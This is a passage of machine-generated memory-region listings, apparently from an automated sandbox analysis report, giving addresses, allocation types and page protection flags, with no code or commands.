page read and write
|
||
|
7FF557009000
|
unkown
|
page readonly
|
||
|
C0FB000
|
unkown
|
page read and write
|
||
|
3249000
|
unkown
|
page read and write
|
||
|
86F0000
|
direct allocation
|
page read and write
|
||
|
7590000
|
trusted library allocation
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
97E1000
|
unkown
|
page read and write
|
||
|
20477031000
|
heap
|
page read and write
|
||
|
7FF556F90000
|
unkown
|
page readonly
|
||
|
7FF5574BA000
|
unkown
|
page readonly
|
||
|
7FF55765C000
|
unkown
|
page readonly
|
||
|
2047774A000
|
heap
|
page read and write
|
||
|
7C00000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20477142000
|
heap
|
page read and write
|
||
|
7FF557599000
|
unkown
|
page readonly
|
||
|
7FF55710F000
|
unkown
|
page readonly
|
||
|
204770B4000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF557429000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20475090000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
2204E000
|
stack
|
page read and write
|
||
|
20477134000
|
heap
|
page read and write
|
||
|
90C9000
|
unkown
|
page read and write
|
||
|
4830000
|
unkown
|
page read and write
|
||
|
7FF557328000
|
unkown
|
page readonly
|
||
|
BBC0000
|
unkown
|
page read and write
|
||
|
EDF000
|
stack
|
page read and write
|
||
|
7FF557420000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7178000
|
unkown
|
page read and write
|
||
|
11762000
|
unkown
|
page read and write
|
||
|
204770D1000
|
heap
|
page read and write
|
||
|
7FF5572BD000
|
unkown
|
page readonly
|
||
|
7FF55703F000
|
unkown
|
page readonly
|
||
|
8FB0000
|
direct allocation
|
page execute and read and write
|
||
|
204770FE000
|
heap
|
page read and write
|
||
|
7FF5571DF000
|
unkown
|
page readonly
|
||
|
8530000
|
unkown
|
page readonly
|
||
|
20476C2E000
|
heap
|
page read and write
|
||
|
B42F000
|
stack
|
page read and write
|
||
|
7FF557187000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
9C1E000
|
stack
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
5033000
|
trusted library allocation
|
page read and write
|
||
|
7FF557095000
|
unkown
|
page readonly
|
||
|
4D7C000
|
trusted library allocation
|
page read and write
|
||
|
20476CA0000
|
heap
|
page read and write
|
||
|
1C0AC305000
|
heap
|
page read and write
|
||
|
7FF556A1B000
|
unkown
|
page readonly
|
||
|
2047773E000
|
heap
|
page read and write
|
||
|
5A76AFE000
|
stack
|
page read and write
|
||
|
20477479000
|
heap
|
page read and write
|
||
|
A131000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
20477017000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF557535000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
DE7000
|
heap
|
page read and write
|
||
|
7FFAAB950000
|
trusted library allocation
|
page read and write
|
||
|
C22B000
|
unkown
|
page read and write
|
||
|
4760000
|
heap
|
page execute and read and write
|
||
|
7FF5575AB000
|
unkown
|
page readonly
|
||
|
C50000
|
heap
|
page read and write
|
||
|
C631000
|
unkown
|
page read and write
|
||
|
7FFAAB716000
|
trusted library allocation
|
page read and write
|
||
|
AD10000
|
unkown
|
page readonly
|
||
|
D14000
|
heap
|
page read and write
|
||
|
7FF55710A000
|
unkown
|
page readonly
|
||
|
2047718C000
|
heap
|
page read and write
|
||
|
BC0000
|
direct allocation
|
page read and write
|
||
|
4730000
|
unkown
|
page read and write
|
||
|
6F60000
|
heap
|
page read and write
|
||
|
1A8DDA55000
|
heap
|
page read and write
|
||
|
549000
|
heap
|
page read and write
|
||
|
5A77D8D000
|
stack
|
page read and write
|
||
|
1A8DDC60000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
2047516B000
|
heap
|
page read and write
|
||
|
10284000
|
unkown
|
page read and write
|
||
|
5A76EBE000
|
stack
|
page read and write
|
||
|
2D7F000
|
stack
|
page read and write
|
||
|
C22F000
|
unkown
|
page read and write
|
||
|
1A8C38B4000
|
heap
|
page read and write
|
||
|
7FF557420000
|
unkown
|
page readonly
|
||
|
7FF557113000
|
unkown
|
page readonly
|
||
|
2047716D000
|
heap
|
page read and write
|
||
|
20477178000
|
heap
|
page read and write
|
||
|
4EA0000
|
heap
|
page read and write
|
||
|
7FF5574EF000
|
unkown
|
page readonly
|
||
|
77F0000
|
unkown
|
page read and write
|
||
|
7FF5570C5000
|
unkown
|
page readonly
|
||
|
7140000
|
unkown
|
page read and write
|
||
|
A3041B9000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
E280000
|
unkown
|
page read and write
|
||
|
C0F9000
|
unkown
|
page read and write
|
||
|
1A8C3B40000
|
trusted library allocation
|
page read and write
|
||
|
715C000
|
unkown
|
page read and write
|
||
|
7FF5575A1000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
C12D000
|
unkown
|
page read and write
|
||
|
C063000
|
unkown
|
page read and write
|
||
|
C6EE000
|
unkown
|
page read and write
|
||
|
7FF556FC4000
|
unkown
|
page readonly
|
||
|
1A8C3B20000
|
trusted library allocation
|
page read and write
|
||
|
7FF5575B9000
|
unkown
|
page readonly
|
||
|
A118000
|
unkown
|
page read and write
|
||
|
101C2000
|
unkown
|
page read and write
|
||
|
3213000
|
stack
|
page read and write
|
||
|
7FF55704A000
|
unkown
|
page readonly
|
||
|
204771F5000
|
heap
|
page read and write
|
||
|
7FF557661000
|
unkown
|
page readonly
|
||
|
20477105000
|
heap
|
page read and write
|
||
|
A850000
|
unkown
|
page read and write
|
||
|
A1FD000
|
unkown
|
page read and write
|
||
|
2A20000
|
heap
|
page read and write
|
||
|
7B98000
|
stack
|
page read and write
|
||
|
A3048FF000
|
stack
|
page read and write
|
||
|
1A8C386D000
|
heap
|
page read and write
|
||
|
BFD0000
|
unkown
|
page read and write
|
||
|
7FF557583000
|
unkown
|
page readonly
|
||
|
7FFAAB720000
|
trusted library allocation
|
page execute and read and write
|
||
|
A877000
|
unkown
|
page read and write
|
||
|
204771F0000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF557568000
|
unkown
|
page readonly
|
||
|
A280000
|
unkown
|
page read and write
|
||
|
7FF557493000
|
unkown
|
page readonly
|
||
|
20477041000
|
heap
|
page read and write
|
||
|
7FF557617000
|
unkown
|
page readonly
|
||
|
1A8C3AF0000
|
heap
|
page read and write
|
||
|
7DF4689A1000
|
unkown
|
page execute read
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
F2C000
|
stack
|
page read and write
|
||
|
718B000
|
unkown
|
page read and write
|
||
|
1A8C59F3000
|
trusted library allocation
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
88FA000
|
unkown
|
page read and write
|
||
|
C04F000
|
unkown
|
page read and write
|
||
|
204771C0000
|
heap
|
page read and write
|
||
|
84B7000
|
heap
|
page read and write
|
||
|
1C56BFA8000
|
heap
|
page read and write
|
||
|
1A8DDA10000
|
heap
|
page read and write
|
||
|
5A76E7E000
|
stack
|
page read and write
|
||
|
7309000
|
heap
|
page read and write
|
||
|
4730000
|
unkown
|
page read and write
|
||
|
7FF5573D8000
|
unkown
|
page readonly
|
||
|
E1B9000
|
stack
|
page read and write
|
||
|
2DEB000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
1A8D57CA000
|
trusted library allocation
|
page read and write
|
||
|
2DA0000
|
heap
|
page read and write
|
||
|
73C5000
|
stack
|
page read and write
|
||
|
5540000
|
trusted library allocation
|
page read and write
|
||
|
55FA000
|
heap
|
page read and write
|
||
|
A877000
|
unkown
|
page read and write
|
||
|
5A76B7E000
|
stack
|
page read and write
|
||
|
8914000
|
unkown
|
page read and write
|
||
|
1A8DDAF1000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20477159000
|
heap
|
page read and write
|
||
|
8EF5000
|
unkown
|
page read and write
|
||
|
204751CD000
|
heap
|
page read and write
|
||
|
20477086000
|
heap
|
page read and write
|
||
|
72C3000
|
unkown
|
page read and write
|
||
|
7FF55750F000
|
unkown
|
page readonly
|
||
|
9580000
|
unkown
|
page readonly
|
||
|
7FF55760F000
|
unkown
|
page readonly
|
||
|
73B9000
|
heap
|
page read and write
|
||
|
3230000
|
unkown
|
page read and write
|
||
|
516E000
|
trusted library allocation
|
page read and write
|
||
|
2A3D000
|
stack
|
page read and write
|
||
|
750E000
|
stack
|
page read and write
|
||
|
7FFAAB820000
|
trusted library allocation
|
page execute and read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
8820000
|
unkown
|
page readonly
|
||
|
1A8C5CF0000
|
trusted library allocation
|
page read and write
|
||
|
76B0000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF5570BB000
|
unkown
|
page readonly
|
||
|
AE2B000
|
stack
|
page read and write
|
||
|
10AF9000
|
system
|
page read and write
|
||
|
A850000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
1A8C51A0000
|
heap
|
page execute and read and write
|
||
|
B4A6000
|
stack
|
page read and write
|
||
|
7FF5570B5000
|
unkown
|
page readonly
|
||
|
45F0000
|
trusted library allocation
|
page read and write
|
||
|
204771D9000
|
heap
|
page read and write
|
||
|
20477067000
|
heap
|
page read and write
|
||
|
20477100000
|
heap
|
page read and write
|
||
|
7FF556E85000
|
unkown
|
page readonly
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
428F1FF000
|
stack
|
page read and write
|
||
|
1C0ABFCB000
|
heap
|
page read and write
|
||
|
730000
|
heap
|
page read and write
|
||
|
7FFAAB990000
|
trusted library allocation
|
page read and write
|
||
|
842F000
|
stack
|
page read and write
|
||
|
4DF0000
|
trusted library allocation
|
page read and write
|
||
|
A280000
|
unkown
|
page read and write
|
||
|
AD0000
|
heap
|
page read and write
|
||
|
21F3E000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20476FF8000
|
heap
|
page read and write
|
||
|
8470000
|
heap
|
page read and write
|
||
|
C468000
|
unkown
|
page read and write
|
||
|
7FF55714F000
|
unkown
|
page readonly
|
||
|
1C0ABF70000
|
heap
|
page read and write
|
||
|
436C000
|
stack
|
page read and write
|
||
|
718B000
|
unkown
|
page read and write
|
||
|
7FF55704A000
|
unkown
|
page readonly
|
||
|
1172A000
|
unkown
|
page read and write
|
||
|
3213000
|
stack
|
page read and write
|
||
|
4830000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
B030000
|
unkown
|
page readonly
|
||
|
10246000
|
unkown
|
page read and write
|
||
|
A23B000
|
unkown
|
page read and write
|
||
|
7FF5571DC000
|
unkown
|
page readonly
|
||
|
8EEE000
|
unkown
|
page read and write
|
||
|
A85E000
|
unkown
|
page read and write
|
||
|
7FF5572B4000
|
unkown
|
page readonly
|
||
|
C468000
|
unkown
|
page read and write
|
||
|
97EC000
|
unkown
|
page read and write
|
||
|
C18A000
|
unkown
|
page read and write
|
||
|
7160000
|
unkown
|
page read and write
|
||
|
10284000
|
unkown
|
page read and write
|
||
|
BBE0000
|
unkown
|
page readonly
|
||
|
E270000
|
unkown
|
page read and write
|
||
|
7185000
|
unkown
|
page read and write
|
||
|
A3047FE000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF5573D5000
|
unkown
|
page readonly
|
||
|
46E1000
|
direct allocation
|
page execute and read and write
|
||
|
8820000
|
unkown
|
page readonly
|
||
|
7FF5571E6000
|
unkown
|
page readonly
|
||
|
20477043000
|
heap
|
page read and write
|
||
|
8450000
|
heap
|
page read and write
|
||
|
71A4000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
20477049000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
ADAF000
|
stack
|
page read and write
|
||
|
AEE7000
|
stack
|
page read and write
|
||
|
21F00000
|
remote allocation
|
page read and write
|
||
|
22390000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF557531000
|
unkown
|
page readonly
|
||
|
4406000
|
heap
|
page read and write
|
||
|
FB0000
|
unkown
|
page read and write
|
||
|
6D0D000
|
stack
|
page read and write
|
||
|
204776DF000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
F0B000
|
stack
|
page read and write
|
||
|
A3044FE000
|
stack
|
page read and write
|
||
|
88ED000
|
unkown
|
page read and write
|
||
|
7DF468981000
|
unkown
|
page execute read
|
||
|
487A000
|
unkown
|
page read and write
|
||
|
AF6E000
|
stack
|
page read and write
|
||
|
4CBC000
|
stack
|
page read and write
|
||
|
71CF000
|
stack
|
page read and write
|
||
|
10B79000
|
system
|
page read and write
|
||
|
3434000
|
heap
|
page read and write
|
||
|
204776AE000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
8530000
|
unkown
|
page readonly
|
||
|
116D6000
|
unkown
|
page read and write
|
||
|
1A8C72C4000
|
trusted library allocation
|
page read and write
|
||
|
204771A4000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF55714D000
|
unkown
|
page readonly
|
||
|
204773AC000
|
heap
|
page read and write
|
||
|
A0BD000
|
unkown
|
page read and write
|
||
|
204771D4000
|
heap
|
page read and write
|
||
|
81E0000
|
trusted library allocation
|
page read and write
|
||
|
C10000
|
unkown
|
page read and write
|
||
|
8EDD000
|
unkown
|
page read and write
|
||
|
C20000
|
unkown
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
5A77E0A000
|
stack
|
page read and write
|
||
|
7FF5570B5000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
9050000
|
unkown
|
page read and write
|
||
|
C6F8000
|
unkown
|
page read and write
|
||
|
22361000
|
trusted library allocation
|
page execute and read and write
|
||
|
8260000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF5574EF000
|
unkown
|
page readonly
|
||
|
20477134000
|
heap
|
page read and write
|
||
|
75C0000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF5573D3000
|
unkown
|
page readonly
|
||
|
89D5000
|
unkown
|
page read and write
|
||
|
C233000
|
unkown
|
page read and write
|
||
|
1A8C3810000
|
heap
|
page read and write
|
||
|
20477115000
|
heap
|
page read and write
|
||
|
20477125000
|
heap
|
page read and write
|
||
|
7FF55703C000
|
unkown
|
page readonly
|
||
|
5791000
|
trusted library allocation
|
page read and write
|
||
|
7FF557330000
|
unkown
|
page readonly
|
||
|
6D70000
|
direct allocation
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF5575B9000
|
unkown
|
page readonly
|
||
|
7FF557280000
|
unkown
|
page readonly
|
||
|
7FF5573B0000
|
unkown
|
page readonly
|
||
|
A0FC000
|
unkown
|
page read and write
|
||
|
20477052000
|
heap
|
page read and write
|
||
|
B070000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
400000
|
heap
|
page read and write
|
||
|
A110000
|
unkown
|
page read and write
|
||
|
B1A0000
|
unkown
|
page read and write
|
||
|
2A38000
|
stack
|
page read and write
|
||
|
32D3000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
B080000
|
unkown
|
page read and write
|
||
|
8650000
|
trusted library allocation
|
page read and write
|
||
|
7FF556E43000
|
unkown
|
page readonly
|
||
|
700000
|
heap
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
7FF5575EA000
|
unkown
|
page readonly
|
||
|
20477318000
|
heap
|
page read and write
|
||
|
7FF556FE3000
|
unkown
|
page readonly
|
||
|
8D76000
|
unkown
|
page read and write
|
||
|
7FF55741A000
|
unkown
|
page readonly
|
||
|
7FFAAB8E0000
|
trusted library allocation
|
page read and write
|
||
|
7DF468980000
|
unkown
|
page readonly
|
||
|
2047712C000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
33E8000
|
heap
|
page read and write
|
||
|
BFD0000
|
unkown
|
page read and write
|
||
|
15B000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
5536000
|
heap
|
page read and write
|
||
|
9E0F000
|
stack
|
page read and write
|
||
|
7FF5570F7000
|
unkown
|
page readonly
|
||
|
7FF5572C1000
|
unkown
|
page readonly
|
||
|
A0B9000
|
unkown
|
page read and write
|
||
|
8510000
|
unkown
|
page read and write
|
||
|
A129000
|
unkown
|
page read and write
|
||
|
204776C2000
|
heap
|
page read and write
|
||
|
7FF55714F000
|
unkown
|
page readonly
|
||
|
4769000
|
unkown
|
page read and write
|
||
|
7FF55741A000
|
unkown
|
page readonly
|
||
|
7FF5575BD000
|
unkown
|
page readonly
|
||
|
C697000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
1A8C74D0000
|
trusted library allocation
|
page read and write
|
||
|
2047717C000
|
heap
|
page read and write
|
||
|
28D0000
|
direct allocation
|
page read and write
|
||
|
7FF557413000
|
unkown
|
page readonly
|
||
|
1A8C54D1000
|
trusted library allocation
|
page read and write
|
||
|
D9B000
|
heap
|
page read and write
|
||
|
7FF5570CF000
|
unkown
|
page readonly
|
||
|
A858000
|
unkown
|
page read and write
|
||
|
7FFB1E3C5000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
4F72000
|
trusted library allocation
|
page read and write
|
||
|
45AD000
|
trusted library allocation
|
page execute and read and write
|
||
|
32C9000
|
unkown
|
page read and write
|
||
|
13905420000
|
system
|
page execute and read and write
|
||
|
CDE000
|
stack
|
page read and write
|
||
|
204771D0000
|
heap
|
page read and write
|
||
|
204770E0000
|
heap
|
page read and write
|
||
|
AC4C000
|
unkown
|
page read and write
|
||
|
2C1F000
|
unkown
|
page read and write
|
||
|
798E000
|
stack
|
page read and write
|
||
|
7FFB1E3A1000
|
unkown
|
page execute read
|
||
|
2047773E000
|
heap
|
page read and write
|
||
|
86D0000
|
direct allocation
|
page read and write
|
||
|
116E0000
|
unkown
|
page read and write
|
||
|
98DA000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
8B53000
|
unkown
|
page read and write
|
||
|
20477073000
|
heap
|
page read and write
|
||
|
BB3B000
|
stack
|
page read and write
|
||
|
6D90000
|
direct allocation
|
page read and write
|
||
|
7FF55748F000
|
unkown
|
page readonly
|
||
|
2047774A000
|
heap
|
page read and write
|
||
|
7FF55732D000
|
unkown
|
page readonly
|
||
|
6D50000
|
direct allocation
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7803000
|
unkown
|
page read and write
|
||
|
4A9E000
|
stack
|
page read and write
|
||
|
844C000
|
stack
|
page read and write
|
||
|
520000
|
heap
|
page read and write
|
||
|
435000
|
heap
|
page read and write
|
||
|
79A0000
|
unkown
|
page read and write
|
||
|
7FFAAB910000
|
trusted library allocation
|
page read and write
|
||
|
7300000
|
unkown
|
page read and write
|
||
|
BD7000
|
heap
|
page read and write
|
||
|
EC00000
|
heap
|
page read and write
|
||
|
C374000
|
unkown
|
page read and write
|
||
|
A114000
|
unkown
|
page read and write
|
||
|
57AE000
|
stack
|
page read and write
|
||
|
7FF55710A000
|
unkown
|
page readonly
|
||
|
2A3D000
|
stack
|
page read and write
|
||
|
204771C0000
|
heap
|
page read and write
|
||
|
5DF000
|
heap
|
page read and write
|
||
|
223A1000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF557099000
|
unkown
|
page readonly
|
||
|
7FF557627000
|
unkown
|
page readonly
|
||
|
A873000
|
unkown
|
page read and write
|
||
|
1A8C6766000
|
trusted library allocation
|
page read and write
|
||
|
7FF557602000
|
unkown
|
page readonly
|
||
|
C328000
|
unkown
|
page read and write
|
||
|
1A8D54D1000
|
trusted library allocation
|
page read and write
|
||
|
7630000
|
trusted library allocation
|
page read and write
|
||
|
BF3F000
|
stack
|
page read and write
|
||
|
5A76CFE000
|
stack
|
page read and write
|
||
|
F10000
|
heap
|
page read and write
|
||
|
538000
|
heap
|
page read and write
|
||
|
20477057000
|
heap
|
page read and write
|
||
|
7FF55726C000
|
unkown
|
page readonly
|
||
|
21F00000
|
remote allocation
|
page read and write
|
||
|
E370000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
7FF5572D4000
|
unkown
|
page readonly
|
||
|
B6AA000
|
stack
|
page read and write
|
||
|
C6E7000
|
unkown
|
page read and write
|
||
|
7319000
|
heap
|
page read and write
|
||
|
101D9000
|
unkown
|
page read and write
|
||
|
7FF5573ED000
|
unkown
|
page readonly
|
||
|
20476B60000
|
heap
|
page read and write
|
||
|
7FF556E28000
|
unkown
|
page readonly
|
||
|
9B5000
|
stack
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
4520000
|
heap
|
page read and write
|
||
|
7FFB1E3C0000
|
unkown
|
page read and write
|
||
|
204771DC000
|
heap
|
page read and write
|
||
|
A810000
|
unkown
|
page read and write
|
||
|
C24F000
|
unkown
|
page read and write
|
||
|
8690000
|
trusted library allocation
|
page read and write
|
||
|
C1DB000
|
unkown
|
page read and write
|
||
|
204772F1000
|
heap
|
page read and write
|
||
|
2047772E000
|
heap
|
page read and write
|
||
|
5A76F3E000
|
stack
|
page read and write
|
||
|
7FF557293000
|
unkown
|
page readonly
|
||
|
3432000
|
heap
|
page read and write
|
||
|
2047519F000
|
heap
|
page read and write
|
||
|
47C6000
|
unkown
|
page read and write
|
||
|
538000
|
heap
|
page read and write
|
||
|
1154F000
|
stack
|
page read and write
|
||
|
22289000
|
unclassified section
|
page execute and read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
995E000
|
stack
|
page read and write
|
||
|
7FF5572A8000
|
unkown
|
page readonly
|
||
|
204776E5000
|
heap
|
page read and write
|
||
|
46FC000
|
stack
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
21F7F000
|
stack
|
page read and write
|
||
|
7FF557594000
|
unkown
|
page readonly
|
||
|
C6E3000
|
unkown
|
page read and write
|
||
|
C22F000
|
unkown
|
page read and write
|
||
|
33B0000
|
heap
|
page read and write
|
||
|
5A76C7C000
|
stack
|
page read and write
|
||
|
20477210000
|
heap
|
page read and write
|
||
|
7FF557456000
|
unkown
|
page readonly
|
||
|
204774F4000
|
heap
|
page read and write
|
||
|
7FF5571E2000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
1A8DD8A7000
|
heap
|
page read and write
|
||
|
1A8C3710000
|
heap
|
page read and write
|
||
|
C244000
|
unkown
|
page read and write
|
||
|
20477016000
|
heap
|
page read and write
|
||
|
20477185000
|
heap
|
page read and write
|
||
|
1C56C1D5000
|
heap
|
page read and write
|
||
|
A0B9000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
2E86000
|
stack
|
page read and write
|
||
|
7FF5570FE000
|
unkown
|
page readonly
|
||
|
9CDC000
|
stack
|
page read and write
|
||
|
E2A0000
|
heap
|
page read and write
|
||
|
7FF55715D000
|
unkown
|
page readonly
|
||
|
BC00000
|
unkown
|
page readonly
|
||
|
4820000
|
unkown
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
9259000
|
stack
|
page read and write
|
||
|
7FF557589000
|
unkown
|
page readonly
|
||
|
20477026000
|
heap
|
page read and write
|
||
|
1A8C38C6000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7FF55752E000
|
unkown
|
page readonly
|
||
|
C74000
|
heap
|
page read and write
|
||
|
7FF5574BD000
|
unkown
|
page readonly
|
||
|
E370000
|
unkown
|
page read and write
|
||
|
2A90000
|
heap
|
page read and write
|
||
|
222C8000
|
unclassified section
|
page execute and read and write
|
||
|
204776CB000
|
heap
|
page read and write
|
||
|
C00000
|
heap
|
page read and write
|
||
|
20477200000
|
heap
|
page read and write
|
||
|
7FF5574B3000
|
unkown
|
page readonly
|
||
|
7FFB1E3C0000
|
unkown
|
page read and write
|
||
|
43EE000
|
stack
|
page read and write
|
||
|
2C90000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
717A000
|
unkown
|
page read and write
|
||
|
7FF5570C1000
|
unkown
|
page readonly
|
||
|
840000
|
heap
|
page read and write
|
||
|
2A60000
|
heap
|
page read and write
|
||
|
80A0000
|
trusted library allocation
|
page read and write
|
||
|
DA2000
|
heap
|
page read and write
|
||
|
9E8E000
|
stack
|
page read and write
|
||
|
D90000
|
heap
|
page read and write
|
||
|
89C0000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
20476FF6000
|
heap
|
page read and write
|
||
|
101C2000
|
unkown
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
A215000
|
unkown
|
page read and write
|
||
|
C22B000
|
unkown
|
page read and write
|
||
|
88E1000
|
unkown
|
page read and write
|
||
|
7FF556F9E000
|
unkown
|
page readonly
|
||
|
204751F3000
|
heap
|
page read and write
|
||
|
2B3E000
|
stack
|
page read and write
|
||
|
1C56BF80000
|
heap
|
page read and write
|
||
|
8710000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF55720D000
|
unkown
|
page readonly
|
||
|
7C70000
|
unkown
|
page readonly
|
||
|
7FF5574F9000
|
unkown
|
page readonly
|
||
|
2047770A000
|
heap
|
page read and write
|
||
|
8DA6000
|
unkown
|
page read and write
|
||
|
77B0000
|
unkown
|
page read and write
|
||
|
46F6000
|
unkown
|
page read and write
|
||
|
C0F9000
|
unkown
|
page read and write
|
||
|
AE2B000
|
stack
|
page read and write
|
||
|
A218000
|
unkown
|
page read and write
|
||
|
2047727D000
|
heap
|
page read and write
|
||
|
2E0A000
|
stack
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
7DF468981000
|
unkown
|
page execute read
|
||
|
67B000
|
stack
|
page read and write
|
||
|
86B0000
|
direct allocation
|
page read and write
|
||
|
7FF5575E3000
|
unkown
|
page readonly
|
||
|
20477165000
|
heap
|
page read and write
|
||
|
204776B8000
|
heap
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
8810000
|
unkown
|
page readonly
|
||
|
5161000
|
unkown
|
page read and write
|
||
|
8240000
|
trusted library allocation
|
page read and write
|
||
|
88F6000
|
unkown
|
page read and write
|
||
|
32F3000
|
unkown
|
page read and write
|
||
|
4C3E000
|
stack
|
page read and write
|
||
|
50B9000
|
trusted library allocation
|
page read and write
|
||
|
890F000
|
unkown
|
page read and write
|
||
|
7FF55728F000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
|
||
|
717E000
|
unkown
|
page read and write
|
||
|
4CFC000
|
stack
|
page read and write
|
||
|
C740000
|
unkown
|
page read and write
|
||
|
204770EE000
|
heap
|
page read and write
|
||
|
7FF55765C000
|
unkown
|
page readonly
|
||
|
C6D000
|
heap
|
page read and write
|
||
|
2DCF000
|
unkown
|
page read and write
|
||
|
838C000
|
stack
|
page read and write
|
||
|
20476C5C000
|
heap
|
page read and write
|
||
|
8D76000
|
unkown
|
page read and write
|
||
|
7FF55745B000
|
unkown
|
page readonly
|
||
|
88E1000
|
unkown
|
page read and write
|
||
|
1A8C5B5A000
|
trusted library allocation
|
page read and write
|
||
|
C20000
|
unkown
|
page read and write
|
||
|
2047774A000
|
heap
|
page read and write
|
||
|
7FF55753D000
|
unkown
|
page readonly
|
||
|
434000
|
heap
|
page read and write
|
||
|
54BE000
|
stack
|
page read and write
|
||
|
55F0000
|
heap
|
page read and write
|
||
|
4690000
|
heap
|
page read and write
|
||
|
7FF5569E8000
|
unkown
|
page readonly
|
||
|
DA6000
|
heap
|
page read and write
|
||
|
20477199000
|
heap
|
page read and write
|
||
|
2047727D000
|
heap
|
page read and write
|
||
|
7FF557328000
|
unkown
|
page readonly
|
||
|
A304BFF000
|
stack
|
page read and write
|
||
|
22090000
|
heap
|
page read and write
|
||
|
2047710D000
|
heap
|
page read and write
|
||
|
20475192000
|
heap
|
page read and write
|
||
|
434000
|
heap
|
page read and write
|
||
|
8345000
|
trusted library allocation
|
page read and write
|
||
|
2047747C000
|
heap
|
page read and write
|
||
|
8BD9000
|
stack
|
page read and write
|
||
|
88A0000
|
unkown
|
page read and write
|
||
|
4ADF000
|
stack
|
page read and write
|
||
|
7176000
|
unkown
|
page read and write
|
||
|
7FFAAB746000
|
trusted library allocation
|
page execute and read and write
|
||
|
7FF557579000
|
unkown
|
page readonly
|
||
|
DA8000
|
heap
|
page read and write
|
||
|
2047727D000
|
heap
|
page read and write
|
||
|
45A4000
|
trusted library allocation
|
page read and write
|
||
|
9E8E000
|
stack
|
page read and write
|
||
|
5A77D0E000
|
stack
|
page read and write
|
||
|
BEBF000
|
stack
|
page read and write
|
||
|
20477139000
|
heap
|
page read and write
|
||
|
97E7000
|
unkown
|
page read and write
|
||
|
2047719C000
|
heap
|
page read and write
|
||
|
20477325000
|
heap
|
page read and write
|
||
|
7FF5570D4000
|
unkown
|
page readonly
|
||
|
40B1000
|
heap
|
page read and write
